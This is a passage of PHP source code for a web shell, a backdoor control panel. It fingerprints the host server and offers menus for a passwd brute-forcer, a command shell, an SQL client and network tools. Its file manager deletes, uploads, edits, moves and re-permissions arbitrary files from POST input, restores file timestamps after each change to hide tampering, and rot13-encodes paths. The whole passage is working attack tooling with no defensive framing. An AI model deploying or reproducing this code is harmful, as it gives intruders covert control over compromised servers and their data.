  786.  color:#bfbfbf;
  787.  border:1px solid #7c7c7c;
  788.  background:#000000}a, a:hover, a:visited {color:#aaaaaa;
  789.  text-decoration:none} fieldset {margin:5px 3px;
  790.  padding:3px 5px;
  791.  font-weight:bold;
  792.  border:1px solid #444444;
  793.  background:#202020}legend {padding:3px 10px;
  794.  min-width:90px;
  795.  border:1px solid #444444;
  796.  background:#202020} fieldset.head {margin-top:3px}fieldset.menu {padding:2px 0px;
  797.  text-align:center}fieldset.nav{padding:3px 5px}fieldset.e, fieldset.i {margin:8px;
  798.  padding:6px 0px 6px 0px;
  799.  text-align:center;
  800.  background:#3f3f3f}fieldset.e {border-color:#ee0000}fieldset.i {border-color:#0000ee} table {margin:0;
  801.  padding:0;
  802.  table-layout:fixed;
  803.  font:normal 11px Verdana;
  804.  border-collapse:collapse} table.head {border:none}table.head th {text-align:left}table.head th, table.head td {padding:3px 0px}table.head td b {color:#cfcfcf} table.list {margin-top:5px;
  805.  margin-bottom:20px;
  806.  border:1px solid #000000;
  807.  background:#202020}table.list th {padding:3px 10px}table.list td {padding:3px 5px}table.list tr.ok {color:green}table.list tr.fail {display:none} table.listf {margin:5px;
  808.  width:990px;
  809.  background:#202020} table.listf td, table.form td {padding:4px 3px}table.listf td div {display:inline;
  810.  color:#555} table.list tr:hover, table.listf tr:hover, table.lists tr:hover td, table.listr tr:hover td {background:#333333}table.list th, table.listf th, table.listr th {color:#d0d0d0;
  811.  border:1px solid #000000;
  812.  background:#505050}table.list td, table.listf td, table.listr td {border:1px solid #000000}table.listp td {text-align:center}table.listp th {padding:2px 5px} table.listf th, table.lists th {padding:3px 0px;
  813.  border:1px solid #707070} table.lists, table.listr {width:100%;
  814.  background:#202020}table.lists td {padding:2px 0px;
  815.  text-align:center;
  816.  border:1px solid #000000}table.lists td div {display:none;
  817.  position:absolute;
  818.  margin-left:213px;
  819.  margin-top:-18px;
  820.  padding:1px 5px;
  821.  text-align:left;
  822.  background:#404040;
  823.  border:1px solid #707070}table.lists tr:hover td div {display:block} table.listr {table-layout:auto}table.listr th {padding:2px 4px}table.listr td {padding:4px}table.listr td p {max-height:100px;
  824.  overflow-y:auto} form {margin:0px;
  825.  padding:2px 0px}button, input[type=submit], input[type=text], input[type=file], select, textarea, div.xmp {color:#aaaaaa;
  826.  border:1px solid #7c7c7c;
  827.  background:#444444}button:hover, input[type=submit]:hover, input[type=text]:hover, select:hover, textarea:hover {color:#eeeeee;
  828.  border-color:#a0a0a0}button, input[type=submit] {margin:0;
  829.  padding:1px 10px;
  830.  font:normal 11px Verdana;
  831.  white-space:pre;
  832. }input[type=text], input[type=file], select {margin:0px;
  833.  padding:1px;
  834.  font:normal 11px Verdana}input[type=text]:focus, textarea:focus {color:#eeeeee;
  835.  background:#000000}input[type=checkbox]{margin:0;
  836.  border:1px solid #000000;
  837.  background:#3f3f3f}textarea {margin:2px 5px;
  838.  padding:2px 3px;
  839.  width:990px;
  840.  height:300px}button::-moz-focus-inner, input[type=submit]::-moz-focus-inner{margin:0;
  841.  padding:0px;
  842.  border:0} fieldset.menu button {padding:2px 10px 3px 10px}fieldset.nav form {padding:0}fieldset.pag form {display:inline}fieldset.footer form {margin:0;
  843.  padding:0}  table.listf button[type=submit] {margin:0px 2px;
  844.  padding:0;
  845.  font:normal 11px Verdana;
  846.  border:none;
  847.  background:none}table.listf th input[type=submit] {margin:5px 5px 2px 1px;
  848.  padding-bottom:2px;
  849.  background:#000000}table.lists td input[type=submit] {width:100%;
  850.  text-align:left;
  851.  border:none;
  852.  background:none}table.lists th input[type=submit] {margin:0;
  853.  padding:0px 10px} div.xmp{margin:5px;
  854.  padding:1px 2px;
  855.  height:310px;
  856.  overflow:auto;
  857.  text-align:left;
  858.  white-space:pre;
  859.  font:normal 12px "Courier New" }div.ntwrk {float:left;
  860.  margin:0;
  861.  padding:0;
  862.  width:250px}div.ntwrk fieldset {margin:10px 10px 25px 10px}div.ntwrk fieldset div {margin:8px 0px 5px 0px;
  863.  font-weight:normal} button.sb{margin:0;
  864. padding:0 1px 0 0;
  865. font-size:12px;
  866. border:0;
  867. background:none;
  868. cursor:pointer;
  869. }</style> <script>function ca(v, f){ var cb=document.getElementById(f);
  870. for(i=1, n=cb.elements.length;
  871.  i<n;
  872.  i++){if(cb.elements[i].type=='checkbox') cb.elements[i].checked=v;
  873. }}</script> </head><body> <fieldset class="head"><table class="head"> <tr><th style="width:125px">Server address :</th><td><?php
  874.  
  875. if (!empty($_SERVER['SERVER_NAME'])) echo ($_SERVER['HTTP_HOST'] == $_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : $_SERVER['HTTP_HOST'] . ' on ' . $_SERVER['SERVER_NAME'];
  876.   else echo $_SERVER['HTTP_HOST'];
  877. $i = @gethostbyname($_SERVER['HTTP_HOST']);
  878.  
  879. if (!empty($_SERVER['SERVER_ADDR'])) echo ' (', ($_SERVER['SERVER_ADDR'] == $i) ? $_SERVER['SERVER_ADDR'] : $i . ', ' . $_SERVER['SERVER_ADDR'], ')';
  880. elseif (!empty($i)) echo ' (', $i, ')';
  881. echo ' / ', @php_uname('n');
  882. ?></td></tr><tr><th>Server OS :</th><td><?php
  883. echo IW ? @file_get_contents('/etc/issue.net') . ' ' : '', @php_uname('s') , ' ', @php_uname('r') , ' ', @php_uname('v') , ' ', @php_uname('m');
  884. ?></td></tr><tr><th>Server software :</th><td><?php
  885.  
  886. if (!strpos($_SERVER['SERVER_SOFTWARE'], 'PHP/')) echo '<b>PHP</b>/', @phpversion() , ' ';
  887. echo preg_replace('#([^ ]*)/#U', '<b>$1</b>/', $_SERVER['SERVER_SOFTWARE']);
  888.  
  889. if (@function_exists('curl_init')) echo ' <b>cURL</b>';
  890.  
  891. if (@function_exists('mysql_connect')) echo ' <b>MySQL</b>/' . @mysql_get_client_info();
  892.  
  893. if (@function_exists('mssql_connect')) echo ' <b>MSSQL</b>';
  894.  
  895. if (@function_exists('pg_connect')) echo ' <b>PostgreSQL</b>';
  896.  
  897. if (@function_exists('ocilogon')) echo ' <b>Oracle</b>';
  898. ?></td></tr><tr><th>User info :</th><td><?php
  899.  
  900. if (PE)
  901.     {
  902.     $u = @posix_getpwuid(@posix_geteuid());
  903.     $g = @posix_getgrgid(@posix_getegid());
  904.     $i = array(
  905.         $u['uid'],
  906.         $u['name'],
  907.         $g['gid'],
  908.         $g['name']
  909.     );
  910.     }
  911.   else
  912.     {
  913.     $i = @getmygid();
  914.     $i = array(
  915.         @getmyuid() ,
  916.         @get_current_user() ,
  917.         $i,
  918.         empty($gi[$i]) ? $i : $gi[$i]
  919.     );
  920.     }
  921.  
  922. echo 'uid=', $i[0], '(', $i[1], ') gid=', $i[2], '(', $i[3], ')';
  923. ?></td></tr><?php
  924.  
  925. if (@ini_get('safe_mode')) echo '<tr><th>SafeMode :</th><th style="color:#FF4500">ON</th></tr>';
  926.  
  927. if (is_string($d = @ini_get('open_basedir')) && trim($d) !== '') echo '<tr><th>OpenBaseDir :</th><td style="color:#FF4500">', htmlspecialchars($d) , '</td></tr>';
  928.  
  929. if (is_string($d = @ini_get('disable_functions')) && trim($d) !== '') echo '<tr><th>Disable functions :&nbsp;
  930. </th><td style="color:#FF4500">', htmlspecialchars(str_replace(',', ', ', $d)) , '</td></tr>';
  931. ?></table></fieldset> <fieldset class="menu"><form action="" method="post"> <button type="submit" name="fe">Explorer</button> <button type="submit" name="fs">Searcher</button> <button type="submit" name="se">SQL-client</button> <button type="submit" name="nt">Network Tools</button> <?php
  932.  
  933. if (!IW && @is_readable('/etc/passwd'))
  934.     { ?> <button type="submit" name="br">passwd BruteForce</button> <?php
  935.     } ?> <button type="submit" name="sc">CMD</button> <button type="submit" name="si">Server info</button> </form></fieldset>  <fieldset class="nav"><table width="100%"><tr><th width="50px" align="left">Go to :</th><?php
  936. $a = range('a', 'z');
  937.  
  938. foreach($a as $d)
  939. if (@is_dir($d . ':')) echo '<form action="" method="post"><td width="20px"><button type="submit" name="fp" value="' . $d . ':" style="padding:0;
  940. border:none;
  941. background:none;
  942. ">' . strtoupper($d) . ':</button></td><input type="hidden" name="fe"/></form>';
  943. ?><form action="" method="post"><td><input type="text" name="fp" value="<?php
  944. echo htmlspecialchars($_SESSION['CP']);
  945. ?>" style="width:100%"/></td><td width="30px" align="right"><input type="submit" value="&gt;
  946. "/></td><input type="hidden" name="fe"/></form><form action="" method="post"><td width="60px" align="right"><input type="submit" name="gh" value="Home"/></td><input type="hidden" name="fe"/></form></tr></table></fieldset> <fieldset class="nav"><form action="" method="post"><input type="hidden" name="fe"/><b>Jump :</b>&nbsp;
  947. <?php
  948. $v = explode(DIRECTORY_SEPARATOR, substr($_SESSION['CP'], 0, -1));
  949. $k = '';
  950.  
  951. foreach($v as $i)
  952.     {
  953.     $k.= DIRECTORY_SEPARATOR . $i;
  954.     echo '<button class="sb" type="submit" name="fp" value="', htmlspecialchars($k) , '">', htmlspecialchars($i) . DIRECTORY_SEPARATOR, '</button>';
  955.     } ?></form></fieldset><?php
  956.  
  957. if (isset($_POST['fe']) || isset($_POST['fs']))
  958.     {
  959.     if (!empty($_POST['fd']) || isset($_POST['fda']))
  960.         {
  961.         function dd($p)
  962.             {
  963.             $p = @realpath($p);
  964.             $d = @opendir($p);
  965.             while (FALSE !== ($f = @readdir($d)))
  966.             if ($f != '.' && $f != '..')
  967.                 {
  968.                 if (is_dir($p . DIRECTORY_SEPARATOR . $f)) dd($p . DIRECTORY_SEPARATOR . $f);
  969.                   else @unlink($p . DIRECTORY_SEPARATOR . $f);
  970.                 }
  971.  
  972.             @closedir($d);
  973.             @rmdir($p);
  974.             }
  975.  
  976.         function dfd($p)
  977.             {
  978.             $p = str_rot13($p);
  979.             $s = @stat(dirname($p));
  980.             if (@is_dir($p)) dd($p);
  981.               else @unlink($p);
  982.             @touch(dirname($p) , $s[9], $s[8]);
  983.             }
  984.  
  985.         if (isset($_POST['fda']) && !empty($_POST['fc']))
  986.         foreach($_POST['fc'] as $f) dfd($f);
  987.         elseif (!empty($_POST['fd'])) dfd($_POST['fd']);
  988.         }
  989.     elseif (!empty($_POST['fm']) || isset($_POST['fma']))
  990.         {
  991.         function aml($p)
  992.             {
  993.             $p = str_rot13($p);
  994.             if (!empty($_SESSION['MO'][$p])) unset($_SESSION['MO'][$p]);
  995.               else
  996.                 {
  997.                 if (!empty($_SESSION['CO'][$p])) unset($_SESSION['CO'][$p]);
  998.                 $_SESSION['MO'][$p] = 1;
  999.                 }
  1000.             }
  1001.  
  1002.         if (isset($_POST['fma']) && !empty($_POST['fc']))
  1003.         foreach($_POST['fc'] as $f) aml($f);
  1004.         elseif (!empty($_POST['fm'])) aml($_POST['fm']);
  1005.         }
  1006.     elseif (!empty($_POST['fcf']) || isset($_POST['fca']))
  1007.         {
  1008.         function acl($p)
  1009.             {
  1010.             $p = str_rot13($p);
  1011.             if (!empty($_SESSION['CO'][$p])) unset($_SESSION['CO'][$p]);
  1012.               else
  1013.                 {
  1014.                 if (!empty($_SESSION['MO'][$p])) unset($_SESSION['MO'][$p]);
  1015.                 $_SESSION['CO'][$p] = 1;
  1016.                 }
  1017.             }
  1018.  
  1019.         if (isset($_POST['fca']) && !empty($_POST['fc']))
  1020.         foreach($_POST['fc'] as $f) acl($f);
  1021.         elseif (!empty($_POST['fcf'])) acl($_POST['fcf']);
  1022.         }
  1023.     elseif (isset($_POST['fbc'])) unset($_SESSION['MO'], $_SESSION['CO']);
  1024.     elseif (isset($_POST['fbp']))
  1025.         {
  1026.         function cd($p, $d)
  1027.             {
  1028.             $p = @realpath($p);
  1029.             $sd = @stat($d);
  1030.             $n = $d . DIRECTORY_SEPARATOR . bname($p);
  1031.             if ((@is_dir($n) && @is_writable($n)) || @mkdir($n))
  1032.                 {
  1033.                 if ($h = @opendir($p))
  1034.                     {
  1035.                     $s = @stat($n);
  1036.                     while (FALSE !== ($f = @readdir($h)))
  1037.                     if ($f != '.' && $f != '..')
  1038.                         {
  1039.                         if (@is_dir($p . DIRECTORY_SEPARATOR . $f)) cd($p . DIRECTORY_SEPARATOR . $f, $n);
  1040.                           else
  1041.                             {
  1042.                             $sf = @stat($p . DIRECTORY_SEPARATOR . $f);
  1043.                             @copy($p . DIRECTORY_SEPARATOR . $f, $n . DIRECTORY_SEPARATOR . $f);
  1044.                             @touch($p . DIRECTORY_SEPARATOR . $f, $sf[9], $sf[8]);
  1045.                             }
  1046.                         }
  1047.  
  1048.                     @closedir($h);
  1049.                     @touch($n, $s[9], $s[8]);
  1050.                     }
  1051.  
  1052.                 @touch($d, $sd[9], $sd[8]);
  1053.                 }
  1054.             }
  1055.  
  1056.         $s = @stat($_SESSION['CP']);
  1057.         if (!empty($_SESSION['MO']))
  1058.             {
  1059.             foreach($_SESSION['MO'] as $v => $n)
  1060.                 {
  1061.                 $t = $_SESSION['CP'] . bname($v);
  1062.                 $td = dirname($v);
  1063.                 $st = @stat($td);
  1064.                 @rename($v, $t);
  1065.                 @touch($t, $s[9], $s[8]);
  1066.                 @touch($td, $st[9], $st[8]);
  1067.                 }
  1068.  
  1069.             unset($_SESSION['MO']);
  1070.             }
  1071.  
  1072.         if (!empty($_SESSION['CO']))
  1073.             {
  1074.             foreach($_SESSION['CO'] as $v => $n)
  1075.                 {
  1076.                 if (@is_dir($v)) cd($v, $_SESSION['CP']);
  1077.                   else
  1078.                     {
  1079.                     $t = $_SESSION['CP'] . bname($v);
  1080.                     $sv = @stat($v);
  1081.                     @copy($v, $t);
  1082.                     @touch($t, $sv[9], $sv[8]);
  1083.                     }
  1084.                 }
  1085.  
  1086.             unset($_SESSION['CO']);
  1087.             }
  1088.  
  1089.         @touch($_SESSION['CP'], $s[9], $s[8]);
  1090.         }
  1091.     elseif (!empty($_POST['frs']) && !empty($_POST['frd']))
  1092.         {
  1093.         $ts = @stat(dirname($_POST['frs']));
  1094.         $td = @stat(dirname($_POST['frd']));
  1095.         $to = @stat($_POST['frs']);
  1096.         if (@rename($_POST['frs'], $_POST['frd']))
  1097.             {
  1098.             @touch($_POST['frd'], $to[9], $to[8]);
  1099.             @touch(dirname($_POST['frs']) , $ts[9], $ts[8]);
  1100.             @touch(dirname($_POST['frd']) , $td[9], $td[8]);
  1101.             sm('Rename successfully. Congratulations!', 'i');
  1102.             }
  1103.           else sm('Can\'t rename. Sorry.', 'e');
  1104.         }
  1105.     elseif (!empty($_POST['fn']))
  1106.         {
  1107.         $s = @stat(dirname($_POST['fn']));
  1108.         if ($_POST['t'] == 'f')
  1109.             {
  1110.             if ($fh = @fopen($_POST['fn'], 'w'))
  1111.                 {
  1112.                 @fclose($fh);
  1113.                 $_POST['fef'] = $_POST['fn'];
  1114.                 }
  1115.               else sm('Can\'t create file. Sorry.', 'e');
  1116.             }
  1117.           else
  1118.             {
  1119.             if (@mkdir($_POST['fn'])) sm('Folder created successfully. Congratulations!', 'i');
  1120.               else sm('Can\'t create folder. Sorry.', 'e');
  1121.             }
  1122.  
  1123.         @touch($_POST['fn'], $s[9], $s[8]);
  1124.         @touch(dirname($_POST['fn']) , $s[9], $s[8]);
  1125.         }
  1126.     elseif (!empty($_FILES))
  1127.         {
  1128.         foreach($_FILES['fu']['name'] as $i => $v)
  1129.             {
  1130.             $s = @stat($_SESSION['CP']);
  1131.             @move_uploaded_file($_FILES['fu']['tmp_name'][$i], $_SESSION['CP'] . $v);
  1132.             @touch($_SESSION['CP'] . $v, $s[9], $s[8]);
  1133.             @touch($_SESSION['CP'], $s[9], $s[8]);
  1134.             }
  1135.         }
  1136.  
  1137.     if (isset($_POST['fef']))
  1138.         { ?>     <fieldset><form action="" method="post" align="center"><input type="hidden" name="fe"/><input type="hidden" name="fpr" value="<?php
  1139.         echo htmlspecialchars(str_rot13($_POST['fef']));
  1140. ?>"/><input type="submit" value="Edit file"/> <input type="submit" name="ai" value="Show as image"/></form></fieldset>     <?php
  1141.         if (@is_file($_POST['fef']))
  1142.             {
  1143.             $s = @stat($_POST['fef']);
  1144.             if (isset($_POST['fefs']))
  1145.                 {
  1146.                 if ($f = @fopen($_POST['fef'], 'w'))
  1147.                     {
  1148.                     @fwrite($f, $_POST['fefc']);
  1149.                     @fclose($f);
  1150.                     @touch($_POST['fef'], $s[9], $s[8]);
  1151.                     sm('File successfully saved. Congratulations!', 'i');
  1152.                     }
  1153.                   else sm('Can\'t save this file. Sorry.', 'e');
  1154.                 }
  1155.             elseif (isset($_POST['fefp']))
  1156.                 {
  1157.                 if (@chmod($_POST['fef'], intval($_POST['fefp'], 8)))
  1158.                     {
  1159.                     @touch($_POST['fef'], $s[9], $s[8]);
  1160.                     sm('File permissions successfully changed. Congratulations!', 'i');
  1161.                     }
  1162.                   else sm('Can\'t change file permissions. Sorry.', 'e');
  1163.                 }
  1164.             elseif (isset($_POST['fefg']))
  1165.                 {
  1166.                 if (@chgrp($_POST['fef'], $_POST['fefg']))
  1167.                     {
  1168.                     @touch($_POST['fef'], $s[9], $s[8]);
  1169.                     sm('File group successfully changed. Congratulations!', 'i');
  1170.                     }
  1171.                   else sm('Can\'t change file group. Sorry.', 'e');
  1172.                 }
  1173.             elseif (isset($_POST['fefd']))
  1174.                 {
  1175.                 if (@touch($_POST['fef'], @strtotime($_POST['fefd']))) sm('File modification times successfully changed. Congratulations!', 'i');
  1176.                   else sm('Can\'t change file modification times. Sorry', 'e');
  1177.                 }
  1178.  
  1179.             if (isset($_POST['ai']))
  1180.                 {
  1181.                 echo '<center><img alt="Can\'t show as image. Sorry." src="data:image;
  1182. base64,', base64_encode(@file_get_contents($_POST['fef'])) , '"/></center>';
  1183.                 }
  1184.               else
  1185.                 {
  1186.                 if (@is_readable($_POST['fef']))
  1187.                     { ?><form action="" method="post" style="padding-top:0"><fieldset style="text-align:right"><?php
  1188.                     echo '<input type="text" value="' . htmlspecialchars($_POST['fef']) . '" style="width:', @is_writable($_POST['fef']) ? '925px" name="fef"/> <input type="submit" name="fe" value="Save"/><input type="hidden" name="fefs"/>' : '900px" readonly="readonly"/> READ ONLY';
  1189. ?></fieldset><textarea name="fefc" id="s"><?php
  1190.                     $f = @fopen($_POST['fef'], 'rb');
  1191.                     while (!feof($f)) echo htmlspecialchars(fread($f, 1048576));
  1192.                     @fclose($f);
  1193. ?></textarea></form><?php
  1194.                     }
  1195.                   else sm('Can\'t read this file. Sorry.', 'e');
  1196.                 @clearstatcache(FALSE, $_POST['fef']);
  1197.                 $s = @stat($_POST['fef']);
  1198. ?><fieldset><table width="100%"><tr><td><form action="" method="post">File permission : <input type="text" name="fefp" value="<?php
  1199.                 echo substr(sprintf('%o', @fileperms($_POST['fef'])) , -5);
  1200. ?>" style="width:55px"/> <input type="submit" name="fe" value="&gt;
  1201. "/><input type="hidden" name="fpr" value="<?php
  1202.                 echo htmlspecialchars(str_rot13($_POST['fef']));
  1203. ?>"/></form></td><td><form action="" method="post">File group : <input type="text" name="fefg" value="<?php
  1204.                 echo $s[5];
  1205. ?>" style="width:100px"/> <input type="submit" name="fe" value="&gt;
  1206. "/><input type="hidden" name="fpr" value="<?php
  1207.                 echo htmlspecialchars(str_rot13($_POST['fef']));
  1208. ?>"/></form></td><td><form action="" method="post">File modification times: <input type="text" name="fefd" value="<?php
  1209.                 echo @date('Y-m-d H:i:s', $s[9]);
  1210. ?>" style="width:150px"/> <input type="submit" name="fe" value="&gt;
  1211. "/><input type="hidden" name="fpr" value="<?php
  1212.                 echo htmlspecialchars(str_rot13($_POST['fef']));
  1213. ?>"/></form></td></tr></table></fieldset><?php
  1214.                 }
  1215.             }
  1216.           else sm('Can\'t read this file. Sorry.', 'e');
  1217.         }
  1218.       else
  1219.         {
  1220.         $d = array(
  1221.             '/directory1',
  1222.             '/dir2/subdir2',
  1223.             '/dir3/*/subsubdir3',
  1224.             'dir4/lang-??/'
  1225.         );
  1226.         if (IW) $d = 'c:' . implode(';
  1227. c:', $d);
  1228.           else $d = implode(';
  1229. ', $d);
  1230.         if (isset($_POST['fs']))
  1231.             {
  1232.             if (!empty($_POST['fss']))
  1233.                 {
  1234.                 $_POST['fst'] = 1;
  1235.                 $_POST['fsr'] = 1;
  1236.                 } ?><fieldset align="center"><form action="" method="post"><input type="hidden" name="fe"/>Search <select name="fsr"><option value="0">any</option><option value="1"<?php
  1237.             if (isset($_POST['fsr']) && $_POST['fsr'] == 1) echo ' selected="selected"';
  1238. ?>>readable&nbsp;
  1239. </option><option value="2"<?php
  1240.             if (!empty($_POST['fsr']) && $_POST['fsr'] == 2) echo ' selected="selected"';
  1241. ?>>writable&nbsp;
  1242. </option></select> <select name="fst"><option value="0">objects&nbsp;
  1243. </option><option value="1"<?php
  1244.             if (!empty($_POST['fst']) && $_POST['fst'] == 1) echo ' selected="selected"';
  1245. ?>>files&nbsp;
  1246. </option><option value="2"<?php
  1247.             if (!empty($_POST['fst']) && $_POST['fst'] == 2) echo ' selected="selected"';
  1248. ?>>dirs&nbsp;
  1249. </option></select> with a name <input type="text" name="fsn" value="<?php
  1250.             echo empty($_POST['fsn']) ? '*' : htmlspecialchars($_POST['fsn']);
  1251. ?>" title="Example: *.sql,backup*,user-01???.ftp,.htpasswd" style="width:190px"/> in <input type="text" name="fsp" value="<?php
  1252.             echo empty($_POST['fsp']) ? htmlspecialchars($_SESSION['CP']) : htmlspecialchars($_POST['fsp']);
  1253. ?>" title="Example: <?php
  1254.             echo $d;
  1255. ?>" style="width:440px"/> <input type="submit" name="fs" value="&gt;
  1256. "/><div style="margin-top:10px;
  1257.  text-align:center"> with text <input type="text" name="fss" value="<?php
  1258.             if (!empty($_POST['fss'])) echo htmlspecialchars($_POST['fss']);
  1259. ?>" style="width:900px"/></div></form></fieldset><?php
  1260.             }
  1261.  
  1262.         $a = array();
  1263.         function cn(&$i1, &$i2)
  1264.             {
  1265.             if ($i1[3] == 0 || $i2[3] == 0)
  1266.                 {
  1267.                 if ($i1[3] == 0 && $i1[1] == '[ .. ]') return 0;
  1268.                 if ($i2[3] == 0 && $i2[1] == '[ .. ]') return 1;
  1269.                 if ($i1[3] != 0 && $i2[3] == 0) return 1;
  1270.                 if ($i1[3] == 0 && $i2[3] != 0) return -1;
  1271.                 }
  1272.             elseif ($i1[2] > $i2[2]) return 1;
  1273.             elseif ($i1[2] < $i2[2]) return -1;
  1274.             return @strnatcmp($i1[1], $i2[1]);
  1275.             }
  1276.  
  1277.         function gs($p, &$n, &$a)
  1278.             {
  1279.             if (substr($p, -1) !== DIRECTORY_SEPARATOR) $p.= DIRECTORY_SEPARATOR;
  1280.             if (!empty($_POST['fss'])) $c = - 1 * strlen($_POST['fss']);
  1281.             if ($t = @glob($p . $n, GLOB_BRACE))
  1282.             foreach($t as $v)
  1283.                 {
  1284.                 if ($_POST['fsr'] == 0 || ($_POST['fsr'] == 1 && @is_readable($v)) || ($_POST['fsr'] == 2 && @is_writable($v)))
  1285.                     {
  1286.                     if ($_POST['fst'] != 1 && empty($_POST['fss']) && @is_dir($v))
  1287.                         {
  1288.                         $tn = bname($v);
  1289.                         if ($tn != '.' && $tn != '..') $a[] = array(
  1290.                             $v,
  1291.                             '[ ' . $v . ' ]',
  1292.                             '',
  1293.                             0
  1294.                         );
  1295.                         }
  1296.                     elseif ($_POST['fst'] != 2 && @is_file($v))
  1297.                         {
  1298.                         if (!empty($_POST['fss']))
  1299.                             {
  1300.                             if ($f = @fopen($v, 'rb'))
  1301.                                 {
  1302.                                 while (!feof($f))
  1303.                                     {
  1304.                                     $s = fread($f, 1048576);
  1305.                                     if (stripos($s, $_POST['fss']))
  1306.                                         {
  1307.                                         $a[] = array(
  1308.                                             $v,
  1309.                                             $v,
  1310.                                             '',
  1311.                                             1
  1312.                                         );
  1313.                                         break;
  1314.                                         }
  1315.  
  1316.                                     if (!feof($f)) @fseek($f, $c, SEEK_CUR);
  1317.                                     }
  1318.  
  1319.                                 @fclose($f);
  1320.                                 }
  1321.                             }
  1322.                           else $a[] = array(
  1323.                             $v,
  1324.                             $v,
  1325.                             '',
  1326.                             1
  1327.                         );
  1328.                         }
  1329.                     }
  1330.                 }
  1331.  
  1332.             if ($t = @glob($p . '*', GLOB_ONLYDIR))
  1333.             foreach($t as $v) gs($v, $n, $a);
  1334.             }
  1335.  
  1336.         $a = array();
  1337.         if (isset($_POST['fs']))
  1338.             {
  1339.             if (isset($_POST['fsn']))
  1340.                 {
  1341.                 $n = ($_POST['fsn'] == '*') ? '{.,}*' : '{' . $_POST['fsn'] . '}';
  1342.                 $p = explode(';
  1343. ', $_POST['fsp']);
  1344.                 foreach($p as $v) gs($v, $n, $a);
  1345.                 }
  1346.             }
  1347.           else
  1348.             {
  1349.             if (@is_readable($_SESSION['CP']))
  1350.                 {
  1351.                 $d = @opendir($_SESSION['CP']);
  1352.                 while (FALSE !== ($v = @readdir($d)))
  1353.                     {
  1354.                     $p = @realpath($_SESSION['CP'] . $v);
  1355.                     if (@is_dir($p))
  1356.                         {
  1357.                         if ($v != '.') $a[] = array(
  1358.                             $p,
  1359.                             '[ ' . $v . ' ]',
  1360.                             '[ DIR ]',
  1361.                             0
  1362.                         );
  1363.                         }
  1364.                     elseif (@is_file($p))
  1365.                         {
  1366.                         $i = strrpos($v, '.');
  1367.                         if ($i > 0) $a[] = array(
  1368.                             $p,
  1369.                             substr($v, 0, $i) ,
  1370.                             substr($v, $i + 1) ,
  1371.                             1
  1372.                         );
  1373.                           else $a[] = array(
  1374.                             $p,
  1375.                             $v,
  1376.                             '',
  1377.                             1
  1378.                         );
  1379.                         }
  1380.                       else
  1381.                         {
  1382.                         $a[] = array(
  1383.                             $p,
  1384.                             $v,
  1385.                             '',
  1386.                             1
  1387.                         );
  1388.                         }
  1389.                     }
  1390.  
  1391.                 @closedir($d);
  1392.                 @uasort($a, cn);
  1393.                 }
  1394.             }
  1395.  
  1396.         if (!empty($a))
  1397.             { ?><script>function sv(t,i){t.value=document.getElementById('v'+i).value;
  1398. }</script><form action="" method="post" id="ff"><input type="hidden" name="fe"/><table class="listf"><tr><th width="20px"><input type="checkbox" onclick="ca(this.checked, 'ff')"/></th><th>Name</th><?php
  1399.             if (!isset($_POST['fs'])) echo '<th width="50px">Ext</th>';
  1400. ?><th width="90px">Size (kB)</th><th width="<?php
  1401.             echo isset($_POST['fs']) ? '130' : '140';
  1402. ?>px">Modified</th><th width="140px">Owner</th><th width="55px">Perms</th><th width="140px">Actions</th></tr><?php
  1403.             foreach($a as $n => $v)
  1404.                 {
  1405.                 $s = @stat($v[0]);
  1406.                 $r = htmlspecialchars(str_rot13($v[0]));
  1407.                 $i = ($v[3] == 0 && $v[1] == '[ .. ]');
  1408.                 echo '<tr><td>';
  1409.                 if (!$i) echo '<input type="checkbox" name="fc[]" id="v', $n, '" value="', $r, '"/>';
  1410.                 echo '</td><td><button type="submit" name="fpr"';
  1411.                 if (!empty($_SESSION['MO'][$v[0]])) echo ' style="text-decoration:line-through"';
  1412.                 elseif (!empty($_SESSION['CO'][$v[0]])) echo ' style="text-decoration:underline"';
  1413.                 echo $i ? ' value="' . $r . '"' : ' onclick="sv(this,' . $n . ')"', '>', htmlspecialchars($v[1]) , '</button></td>';
  1414.                 if (!isset($_POST['fs'])) echo '<td>', htmlspecialchars($v[2]) , '</td>';
  1415.                 echo '<td align="right">', ($v[3] == 0) ? '[ DIR ]' : @number_format($s[7] / 1024, 3, '.', '') , '</td><td align="center">', isset($_POST['fs']) ? @date('y-m-d H:i:s', $s[9]) : @date('Y-m-d H:i:s', $s[9]) , '</td><td align="center">';
  1416.                 if (PE)
  1417.                     {
  1418.                     $t = @posix_getpwuid($s[4]);
  1419.                     echo $t['name'];
  1420.                     }
  1421.                 elseif (!empty($ui[$s[4]])) echo $ui[$s[4]];
  1422.                   else echo $s[4];
  1423.                 echo '/';
  1424.                 if (PE)
  1425.                     {
  1426.                     $t = @posix_getgrgid($s[5]);
  1427.                     echo $t['name'];
  1428.                     }
  1429.                 elseif (!empty($gi[$s[5]])) echo $gi[$s[5]];
  1430.                   else echo $s[5];
  1431.                 echo '</td><td style="text-align:center;
  1432. ', @is_writable($v[0]) ? 'color:green' : (@is_readable($v[0]) ? '' : 'color:red') , '">', substr(sprintf('%o', @fileperms($v[0])) , -5) , '</td><td align="center">';
  1433.                 if (!$i) echo '<button type="submit" name="fd" onclick="sv(this,' . $n . ')">Del</button> <button type="submit" name="fm" onclick="sv(this,' . $n . ')">Move</button> <button type="submit" name="fcf" onclick="sv(this,' . $n . ')">Copy</button> <button type="submit" name="fdw" onclick="sv(this,' . $n . ')">Get</button>';
  1434.                 echo '</td></tr>';
  1435.                 } ?><tr><th colspan="4" align="left">&nbsp;
  1436. With selected : <input type="submit" name="fda" value="Delete"/> <input type="submit" name="fma" value="Move"/> <input type="submit" name="fca" value="Copy"/> <input type="submit" name="fdwa" value="Download"/></th><th colspan="<?php
  1437.             echo isset($_POST['fs']) ? 3 : 4;
  1438. ?>" align="right"><?php
  1439.             if (!isset($_POST['fs']) && (!empty($_SESSION['CO']) || !empty($_SESSION['MO']))) echo 'With ', @count($_SESSION['CO']) + @count($_SESSION['MO']) , ' objects in buffer : <input type="submit" name="fbc" value="Clean"/>', @is_writable($_SESSION['CP']) ? ' <input type="submit" name="fbp" value="Paste"/>' : '';
  1440. ?></th></tr></table></form><fieldset style="text-align:center"><form action="" method="post">Rename <input type="text" name="frs" value="<?php
  1441.             echo htmlspecialchars($_SESSION['CP']);
  1442. ?>" style="width:435px"/> to <input type="text" name="frd" value="<?php
  1443.             echo htmlspecialchars($_SESSION['CP']);
  1444. ?>" style="width:435px"/> <input type="submit" name="fe" value="&gt;
  1445. "/></form></fieldset><?php
  1446.             if (@is_writable($_SESSION['CP']))
  1447.                 { ?><fieldset style="float:left;
  1448.  width:480px;
